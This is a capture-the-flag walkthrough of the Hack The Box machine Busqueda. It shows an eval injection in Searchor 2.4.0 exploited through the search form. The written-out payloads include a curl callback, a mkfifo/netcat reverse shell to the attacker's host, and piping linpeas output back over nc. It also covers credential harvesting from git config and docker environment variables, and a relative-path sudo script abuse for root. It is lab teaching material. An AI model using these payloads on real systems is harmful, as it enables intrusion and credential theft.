HTB Busqueda Walkthrough

HTB Busqueda Walkthrough

HTB Busqueda Walkthrough

As usual, a nice and simple BOX with two relatively simple exploits even for beginners. Let’s go.

The nmap scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 15:08 EDT
Nmap scan report for 10.10.11.208
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.86 seconds

port 80 responds to the “searcher.htb” domain. Put it in the /etc/hosts file.

HTB Busqueda Walkthrough

It seems to be a search engine collector.
Wappalyzer reports python (3.10.6) and flask (2.1.2) technology.

HTB Busqueda Walkthrough

The portal is based on version 2.4.0 of an open-source project called Searchor with the repository on git

GitHub – ArjunSharda/Searchor: ⚡️ Quick and easy searching tasks in one library.
⚡️ Quick and easy searching tasks in one library. Contribute to ArjunSharda/Searchor development by creating an account on GitHub.
HTB Busqueda Walkthrough

Searching for exploits I found this:

searchor 2.4.0 vulnerabilities | Snyk
Learn more about known searchor 2.4.0 vulnerabilities and licenses detected.
HTB Busqueda Walkthrough

Intercepting the calls using BurpSuite, I retrieve the request:

POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

engine=Amazon&query=test

Let’s try to investigate the code in the repository, crossing the information of the eval reported in the vulnerability and the request towards the /search routing. Download the 2.4.0 version of the source code (https://github.com/ArjunSharda/Searchor/releases/tag/v2.4.0).

Search the POST method…

def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
        if copy:
            click.echo("link copied to clipboard")
    except AttributeError:
        print("engine not recognized")

…and the Engine class:

class Engine(Enum):
    Accuweather = "https://www.accuweather.com/en/search-locations?query={query}"
    AlternativeTo = "https://alternativeto.net/browse/search/?q={query}"
    Amazon = "https://www.amazon.com/s?k={query}"
    AmazonWebServices = "https://aws.amazon.com/search/?searchQuery={query}"
    AOL = "https://search.aol.com/aol/search?q={query}"
    Apple = "https://www.apple.com/search/{query}"
[...]

Apparently, you can run some python code, it will be easier using the last parameter (open). Sniffing the request setting the “Auto redirect” check with BurpSuite

POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

engine=Amazon&query=test&auto_redirect=

It seems that the backend code only checks for the presence of the parameter, so I can’t take advantage of the “auto_redirect” parameter, I’ll have to use the “query” parameter. The purpose is to pass a value such that a command is executed in addition to the original one. Starting from the construction of the original string, then

f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"

we have to close the string at the point of the query parameter. Just pass the value as the query value

test')#

This will terminate the string with the single quote, close the search command with the closing parenthesis, and comment out everything that follows.

Since the search of the engine class accepts the remaining parameters with default values, there will be no problems, as the search method in this case will be launched specifying only the first parameter.

    def search(self, query, open_web=False, copy_url=False, additional_queries: dict = None):
        url = self.value.format(query=quote(query, safe=""))
        if additional_queries:
            url += ("?" if "?" not in self.value.split("/")[-1] else "&") + "&".join(
                query + "=" + quote(query_val)
                for query, query_val in additional_queries.items()
            )
        if open_web is True:
            open_new_tab(url)

        if copy_url is True:
            pyperclip.copy(url)

        return url

But now I have to try to inject the code I want to execute, but failing to concatenate another string, I take advantage of a trick that allows me to execute some code through the use of the format of a string. The output of the search command of the Engine class still returns a string, on which I can perform a format. Since there are no variable markers, the format will have no effect, but it will still allow me to execute some code. As usual, to test, I’ll run a curl to my listening machine to see if the injection was successful. The query parameter will then look something like this:

test').format(__import__('os').popen('curl%20http://10.10.14.151').read())#

By replacing the parameter on the BurpSuite and launching the request, the surprise is not long in coming.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.151:80
[Sun Apr 30 17:34:23 2023] PHP 8.2.4 Development Server (http://10.10.14.151:80) started
[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 Accepted
[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 [404]: GET / - No such file or directory
[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 Closing

Perfect, it works, let’s convert curl to a reverse shell and activate our listener.

test').format(__import__('os').popen('rm%20-f%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.151%204444%20>/tmp/f').read())#

The BurpSuite will do the rest!

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.151] from searcher.htb [10.10.11.208] 37746
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc

Navigate to the home folder and let’s find out he’s the user with the flag.

$ cat user.txt  
f******************************2

Spawned a tty shell to test the sudo command but this user cannot launch sudo without a password. So, launch linpeas as usual, without leaving any trace.

Download linpeas and start the php native web server.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.208 - Busqueda (lin)/attack/upld]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.sh
--2023-05-01 15:22:07--  https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.sh
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/ba2c0404-93e2-44d5-a884-e5c0a3af4a1a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230501%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230501T192141Z&X-Amz-Expires=300&X-Amz-Signature=f1406d9bc0d84625cf1e57d0cbff85ba838dd4afbda36a5a4beee2260e83a21d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream [following]
--2023-05-01 15:22:08--  https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/ba2c0404-93e2-44d5-a884-e5c0a3af4a1a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230501%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230501T192141Z&X-Amz-Expires=300&X-Amz-Signature=f1406d9bc0d84625cf1e57d0cbff85ba838dd4afbda36a5a4beee2260e83a21d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 830030 (811K) [application/octet-stream]
Saving to: ‘linpeas.sh’

linpeas.sh                                         100%[=============================================================================================================>] 810.58K  --.-KB/s    in 0.1s    

2023-05-01 15:22:09 (5.56 MB/s) - ‘linpeas.sh’ saved [830030/830030]

                                                                                                                                                                                                         
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.208 - Busqueda (lin)/attack/upld]
└─$ php -S 10.10.14.151:80
[Mon May  1 15:22:12 2023] PHP 8.2.4 Development Server (http://10.10.14.151:80) started

Then start the netcat listener that will receive the scan output.

nc -lp 4445 | tee lpeasout.file

And finally, launch the attack on the remote machine.

$ curl http://10.10.14.151/linpeas.sh | sh | nc 10.10.14.151 4445
curl http://10.10.14.151/linpeas.sh | sh | nc 10.10.14.151 4445
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
 49  810k   49  404k    0     0  16872      0  0:00:49  0:00:24  0:00:25 16873uniq: write error: Broken pipe. . . . . . . . . . . . . . . . . . . . . . . . . . . . 
 62  810k   62  504k    0     0  19232      0  0:00:43  0:00:26  0:00:17 19233cat: write error: Broken pipe
cat: write error: Broken pipe
sed: -e expression #1, char 0: no previous regular expression
100  810k  100  810k    0     0   7119      0  0:01:56  0:01:56 --:--:--  5756
sh: 3672:  [: not found
uniq: write error: Broken pipe
grep: write error: Broken pipe
grep: write error: Broken pipe
sh: 5415: Syntax error: Unterminated quoted string

Let the scan complete (check your netcat session).

linpeas output, interesting poits

[...]
══╣ PHP exec extensions
drwxr-xr-x 2 root root 4096 Dec 22 18:44 /etc/apache2/sites-enabled                                                                                                                                      
drwxr-xr-x 2 root root 4096 Dec 22 18:44 /etc/apache2/sites-enabled
lrwxrwxrwx 1 root root 35 Dec  1 18:45 /etc/apache2/sites-enabled/000-default.conf -> ../sites-available/000-default.conf
<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName searcher.htb
        ServerAdmin admin@searcher.htb
        ProxyPass / http://127.0.0.1:5000/
        ProxyPassReverse / http://127.0.0.1:5000/
        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^searcher.htb$
        RewriteRule /.* http://searcher.htb/ [R]
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName gitea.searcher.htb
        ServerAdmin admin@searcher.htb
        ProxyPass / http://127.0.0.1:3000/
        ProxyPassReverse / http://127.0.0.1:3000/
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
[...]
-rw-rw-r-- 1 svc svc 76 Apr  3 08:58 /home/svc/.gitconfig
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks
[...]
╔══════════╣ Checking if containerd(ctr) is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation                                                                                                   
ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it                                                                                                                            
ctr: failed to dial "/run/containerd/containerd.sock": connection error: desc = "transport: error while dialing: dial unix /run/containerd/containerd.sock: connect: permission denied"

╔══════════╣ Checking if runc is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation                                                                                                             
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it                                                                                                                         

╔══════════╣ Searching docker files (limit 70)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation                                                                                  
lrwxrwxrwx 1 root root 33 Dec 21 19:13 /etc/systemd/system/sockets.target.wants/docker.socket -> /lib/systemd/system/docker.socket                                                                       
-rw-r--r-- 1 root root 175 Jan  3 18:47 /usr/lib/systemd/system/docker.socket
-rw-r--r-- 1 root root 477 Jun 15  2022 /usr/local/lib/node_modules/pm2/node_modules/@pm2/io/docker-compose.yml
-rw-r--r-- 1 root root 0 Dec 21 19:13 /var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/docker.socket
[...]

Found an additional domain (gitea.searcher.htb), insert it on the /etc/hosts file and try to navigate.

Gitea Version: 1.18.0+rc1

Searching for some exploit, I find something (even an RCE), but be being authenticated. After some more searching, I can’t find anything of interest, so, convinced that the next clue has something to do with git anyway, I search the repositories available in this BOX.

$ find / -name ".git" 2>/dev/null
find / -name ".git" 2>/dev/null
/var/www/app/.git
/opt/scripts/.git

After searching the repository a bit, without much success, and not knowing exactly how to proceed, I start searching online and come across an interesting article.

22. Inside Git: .Git directory

$ cat .git/config
cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

It seems that I have found what I was looking for and finally can access the gitea portal. So, I can come back on one of the previous exploits that need credentials.

GitHub – p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce: A script to exploit CVE-2020-14144 – GiTea authenticated Remote Code Execution using git hooks
A script to exploit CVE-2020-14144 – GiTea authenticated Remote Code Execution using git hooks – GitHub – p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce: A script to exploit CVE-2020-14144 – GiTea a…
HTB Busqueda Walkthrough

Unfortunately I can’t even create a new repository. Anyway, I can connect via ssh using the password.

$ sudo -l
sudo -l
[sudo] password for svc: jh1usoih2bkjaspwe92

Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Even though I can run it, I can’t read it.

$ cat /opt/scripts/system-checkup.py
cat /opt/scripts/system-checkup.py
cat: /opt/scripts/system-checkup.py: Permission denied

So, try to execute.

$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   4 months ago   Up 8 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   4 months ago   Up 8 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

I’ll probably have to use the docker command to elevate the privileges, but in the meantime let’s collect as much information as possible about the running containers as well.

$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e
{"Id":"960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb","Created":"2023-01-06T17:26:54.457090149Z","Path":"/usr/bin/entrypoint","Args":["/bin/s6-svscan","/etc/s6"],"State":{"Status":"running","Running":true,"Paused":false,"Restarting":false,"OOMKilled":false,"Dead":false,"Pid":1828,"ExitCode":0,"Error":"","StartedAt":"2023-05-10T11:20:05.014741291Z","FinishedAt":"2023-04-04T17:03:01.71746837Z"},"Image":"sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78","ResolvConfPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf","HostnamePath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname","HostsPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts","LogPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log","Name":"/gitea","RestartCount":0,"Driver":"overlay2","Platform":"linux","MountLabel":"","ProcessLabel":"","AppArmorProfile":"docker-default","ExecIDs":null,"HostConfig":{"Binds":["/etc/timezone:/etc/timezone:ro","/etc/localtime:/etc/localtime:ro","/root/scripts/docker/gitea:/data:rw"],"ContainerIDFile":"","LogConfig":{"Type":"json-file","Config":{}},"NetworkMode":"docker_gitea","PortBindings":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"RestartPolicy":{"Name":"always","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":[],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"private","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"private","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":67108864,"Runtime":"runc","ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":null,"OomKillDisable":null,"PidsLimit":null,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":["/proc/asound","/proc/acpi","/proc/kcore","/proc/keys","/proc/latency_stats","/proc/timer_list","/proc/timer_stats","/proc/sched_debug","/proc/scsi","/sys/firmware"],"ReadonlyPaths":["/proc/bus","/proc/fs","/proc/irq","/proc/sys","/proc/sysrq-trigger"]},"GraphDriver":{"Data":{"LowerDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff","MergedDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged","UpperDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff","WorkDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"},"Name":"overlay2"},"Mounts":[{"Type":"bind","Source":"/root/scripts/docker/gitea","Destination":"/data","Mode":"rw","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/localtime","Destination":"/etc/localtime","Mode":"ro","RW":false,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/timezone","Destination":"/etc/timezone","Mode":"ro","RW":false,"Propagation":"rprivate"}],"Config":{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}},"NetworkSettings":{"Bridge":"","SandboxID":"576957ba1f33c882828ded9fba9c24391773af2cc643a05e04a6965a95796655","HairpinMode":false,"LinkLocalIPv6Address":"","LinkLocalIPv6PrefixLen":0,"Ports":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"SandboxKey":"/var/run/docker/netns/576957ba1f33","SecondaryIPAddresses":null,"SecondaryIPv6Addresses":null,"EndpointID":"","Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"IPAddress":"","IPPrefixLen":0,"IPv6Gateway":"","MacAddress":"","Networks":{"docker_gitea":{"IPAMConfig":null,"Links":null,"Aliases":["server","960873171e2e"],"NetworkID":"cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227","EndpointID":"9cf85d867982a52a948f0346fa13fbe87bd2244ef427973aa671a2a76cb92b3f","Gateway":"172.19.0.1","IPAddress":"172.19.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:13:00:02","DriverOpts":null}}}}

And the environment variables section is really cool.

[...]
      "Env":[
         "USER_UID=115",
         "USER_GID=121",
         "GITEA__database__DB_TYPE=mysql",
         "GITEA__database__HOST=db:3306",
         "GITEA__database__NAME=gitea",
         "GITEA__database__USER=gitea",
         "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
         "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
         "USER=git",
         "GITEA_CUSTOM=/data/gitea"
      ],
[...]

Obviously, the environment section of the second container is equally attractive.

[...]
      "Env":[
         "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
         "MYSQL_USER=gitea",
         "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
         "MYSQL_DATABASE=gitea",
         "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
         "GOSU_VERSION=1.14",
         "MYSQL_MAJOR=8.0",
         "MYSQL_VERSION=8.0.31-1.el8",
         "MYSQL_SHELL_VERSION=8.0.31-1.el8"
      ],
[...]

Passwords don’t seem, in any case, to be useful. Since the script appeared to use the docker command anyway, I tried hard to exploit that, trying passing additional commands and injecting alternative commands, but without success. Then I took a look at the folder where the script is located and found a couple of interesting clues.

-bash-5.1$ ls -la /opt/scripts/
total 28
drwxr-xr-x 3 root root 4096 Dec 24 18:23 .
drwxr-xr-x 4 root root 4096 Mar  1 10:46 ..
-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr  3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 21:23 system-checkup.py

Inside the folder is a script named after the third argument that takes the original script and there appears to be a git repository. However, I don’t have permission to read the files inside, but let’s try to proceed on this new path.

-bash-5.1$ git status
fatal: not a git repository (or any of the parent directories): .git
-bash-5.1$ ls -la .git
ls: cannot open directory '.git': Permission denied

The git repository route is to be abandoned; the script file remains.

-bash-5.1$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1655     │ 28h    │ 0    │ online    │ 0%       │ 31.0mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!

Oh oh… the command that didn’t work before now seems to execute correctly, so it runs a script with that name contained in the folder you are in!

-bash-5.1$ echo -e '#!/bin/bashncat /root/root.txt' > full-checkup.sh && chmod +x full-checkup.sh && sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
d24d04fb75637b25c945648390008608

[+] Done!

And after a few simple tries, we have our root flag!

That’s all folks, as usual, see you at the next BOX, have an excellent hacking (in legal), bye.

Secjuice – ​Read More